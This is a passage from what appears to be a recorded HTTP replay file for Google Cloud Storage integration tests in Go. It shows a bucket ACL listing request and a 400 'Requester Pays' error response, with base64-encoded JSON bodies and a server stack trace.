cmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9kb21haW4tZ29vZ2xlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvZG9tYWluLWdvb2dsZS5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBTT0ifV19" - } - }, - { - "ID": "8248d1314da9a068", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12203" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:59 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:59 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqrg4CYWnZtCkMXT5KHCcQXY-aSGc6JuuEoVkTtKgObB9qr-dE-5sMKCrbTfpFudhid3ulDpkNuOUmRmBy4k7QQoRxqgues_a8dB85cOybZKZTM864" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9UkVRVUlSRUQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9YmFkUmVxdWVzdCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uUkVRVUlSRUQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfTUlTU0lORzogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qY